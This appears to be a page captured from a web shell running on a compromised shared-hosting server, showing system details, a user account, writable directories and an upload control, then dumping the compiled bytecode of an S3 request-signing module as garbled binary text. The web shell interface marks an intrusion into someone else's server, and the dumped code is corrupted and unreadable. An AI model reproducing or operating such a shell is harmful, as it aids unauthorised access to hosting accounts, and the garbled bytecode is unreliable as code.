https://t.me/RX1948
Server : Apache
System : Linux iad1-shared-b8-43 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
User : dh_edsupp ( 6597262)
PHP Version : 8.2.26
Disable Function : NONE
Directory :  /lib/python3/dist-packages/S3/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/python3/dist-packages/S3/__pycache__/Crypto.cpython-310.pyc
o

�Qa,�@sHddlmZddlZddlZzddlmZWney%ddlmZYnwddlm	Z	ddl
mZddlm
Z
mZmZdd	lmZmZmZdd
lmZddlZddlmZmZgZd&d
d�Ze�d�dd�Ze�d�d'dd�Ze�d�dd�Ze�d�dd�Zdd�Z dd�Z!		d(d d!�Z"e�d!�d)d"d#�Z#d)d$d%�Z$dS)*�)�absolute_importN)�encodebytes)�encodestring�)�Config)�debug)�encode_to_s3�decode_from_s3�s3_quote)�
time_to_epoch�deunicodise�check_bucket_name_dns_support)�
SortedDict)�sha1�sha256FcCs�|sdSd}|r
dpd}t|���D],}|r||vrq||}|dvr0|dt|dd�|f7}q|d|t||dd�f7}q|oHd|d	d
�S)a�
    Format URL parameters from a params dict and returns
    ?parm1=val1&parm2=val2 or an empty string if there
    are no parameters.  Output of this function should
    be appended directly to self.resource['uri']
    - Set "always_have_equal" to always have the "=" char for a param even when
    there is no value for it.
    - Set "limited_keys" list to restrict the param string to keys that are
    defined in it.
    ��=)Nrz&%s%sT��unicode_outputz&%s=%s�?rN)�sorted�keysr
)�params�always_have_equal�limited_keys�	param_str�	equal_str�key�value�r�+/usr/lib/python3/dist-packages/S3/Crypto.py�format_param_str sr!cCs,t��j}tt�t|�|t������}|S)a{Sign a string with the secret key, returning base64 encoded results.
    By default the configured secret key is used, but may be overridden as
    an argument.

    Useful for REST authentication. See http://s3.amazonaws.com/doc/s3-developer-guide/RESTAuthentication.html
    string_to_sign should be utf-8 "bytes".
    and returned signature will be utf-8 encoded "bytes".
    )	r�
secret_keyr�hmac�newrr�digest�strip)�string_to_signr"�	signaturerrr �sign_string_v2<s
	r)�GET�/cCs4gd�}|dur
tdd�}t��j}|d}||�dd�d7}||�dd�d7}||�d	d�d7}t|���D]$}|�d
�rM||d||d7}|�d�r^||d||d7}q:t|d
dd�}t||d�}||7}||7}t	dt
|��ttt
|���}	tt|���dd�}
d|d|	|
d<|
S)aASign a string with the secret key, returning base64 encoded results.
    By default the configured secret key is used, but may be overridden as
    an argument.

    Useful for REST authentication. See http://s3.amazonaws.com/doc/s3-developer-guide/RESTAuthentication.html
    string_to_sign should be utf-8 "bytes".
    )�acl�	lifecycle�location�logging�notification�
partNumber�policy�requestPayment�torrent�uploadId�uploads�	versionId�
versioning�versions�website�delete�cors�restoreNT��ignore_case�
zcontent-md5rzcontent-type�datezx-amz-�:zx-emc-F��quote_backslashesr)rz
SignHeaders: zAWS �
Authorization)rr�
access_key�getrr�
startswithr
r!r�reprr	r)r�list�items)�method�
canonical_urir�cur_headers�SUBRESOURCES_TO_INCLUDErFr'�header�canonical_querystringr(�new_headersrrr �sign_request_v2Js.	



�rScCst|��|��|d�S)aESign a URL in s3://bucket/object form with the given expiry
    time. The object will be accessible via the signed URL until the
    AWS key and secret are revoked or the expiry time is reached, even
    if the object is otherwise private.

    See: http://s3.amazonaws.com/doc/s3-developer-guide/RESTAuthentication.html
    )�bucket�object�expiry)�sign_url_base_v2rTrU)�url_to_signrVrrr �sign_url_v2}s
�rYcKsLt��j}t��j}t|d�|d<t��j|d<t��j|d<t|dddd�|d<d|d	<t��jr8d
|d	<td|d�d|}d
}|rQ||d|7}d}|r]||d|7}d}td|�tt	t
|��dd�|d<td|d�tt��j|d�r�d}nd}|d7}||}|r�|dt|dd�7}|r�|dt|dd�7}|S)zcShared implementation of sign_url methods. Takes a hash of 'bucket', 'object' and 'expiry' as args.rVrF�	host_baserUFTrC�http�proto�httpsz#Expiry interpreted as epoch time %sz'GET


%(expiry)d
/%(bucket)s/%(object)srzresponse-content-disposition=�&zresponse-content-type=zSigning plaintext: %rr�sigzUrlencoded signature: %srTz/%(proto)s://%(bucket)s.%(host_base)s/%(object)sz/%(proto)s://%(host_base)s/%(bucket)s/%(object)szC?AWSAccessKeyId=%(access_key)s&Expires=%(expiry)d&Signature=%(sig)sz&response-content-disposition=z&response-content-type=)
r�content_disposition�content_typerrFrZr
�signurl_use_httpsrr)rr
�host_bucket)�parmsr`ra�signtext�param_separator�urlrrr rW�s>



rWcCst�|t|�t���S�N)r#r$rrr%)r�msgrrr �sign�srjcCs4ttd|�|�}t||�}t||�}t|d�}|S)z1
    Input: unicode params
    Output: bytes
    �AWS4�aws4_request)rjr)r�	dateStamp�
regionName�serviceName�kDate�kRegion�kService�kSigningrrr �getSignatureKey�s



rtr�	us-east-1�cCsTd}|durtdd�}t��}|j}	|j}
tj��}|�d�}|�d�}
t|
|
||�}t|ddd�}t	|dd��
d	�}t|�ttd
��krLt
|���}n
t
tt|�����}|||d�}d}|��D] }|d
kso||�d�vrpqb||��||��<|d|��7}qbd}t|���D]\}}||d|d7}q�|}td|�d�t|�d���}|d|d|d|d|d|}td|�d}|
d|d|dd}|d|d|dt
tt|�����}t
t�|t|�t����}|dd|	d|dd|dd|}t|���}|�|||d��td|�|S)N�s3Tr>z%Y%m%dT%H%M%SZz%Y%m%dFrC)rrrv)�host�x-amz-content-sha256�
x-amz-datez$host;x-amz-content-sha256;x-amz-daterE�;rrBr@zcanonical_headers = %sz,Canonical Request:
%s
----------------------zAWS4-HMAC-SHA256r+rl� zCredential=�,zSignedHeaders=z
Signature=)rzrEryzsignature-v4 headers: %s)rrrFr"�datetime�utcnow�strftimertr
r!�lstrip�typerr	�	hexdigestrr�splitr&rrKr�joinr#r$�update)rLrxrMr�regionrN�body�service�cfgrFr"�t�amzdate�	datestamp�signing_keyrQ�payload_hash�canonical_headers�signed_headersrP�canonical_headers_str�k�v�canonical_request�	algorithm�credential_scoper'r(�authorization_headerrRrrr �sign_request_v4�sZ



�,,0�r�cszt�}Wn
tyt��}Ynwtt|�d��\�|dur1t�fdd�d�D]}|�|�q(n-��|�|}|dkrf��t	d|��}|sGn'|t
|�8}|�|�|dks<Wd�|SWd�|SWd�|SWd�|S1sywY|S)N�rbcs
��d�S)N� )�readr��frr �<lambda>s
z&checksum_sha256_file.<locals>.<lambda>rvrr�)r�	Exceptionr$�openr�iterr��seekr��min�len)�filename�offset�size�hash�chunk�	size_leftrr�r �checksum_sha256_file�s@
��


�
��
��
��
��r�cCsVzt�}Wn
tyt��}Ynw|dur|�|�|S|�||||��|Srh)rr�r$r�)�bufferr�r�r�rrr �checksum_sha256_buffers
�
�r�)FN)r*r+NN)r*rr+NruNrv)rN)%�
__future__r�sysr#�base64rr�ImportErrorrrr/r�	BaseUtilsrr	r
�Utilsrrr
rr~�hashlibrr�__all__r!�appendr)rSrYrWrjrtr�r�r�rrrr �<module>sB�




1

#
�
?


https://t.me/RX1948 - 2025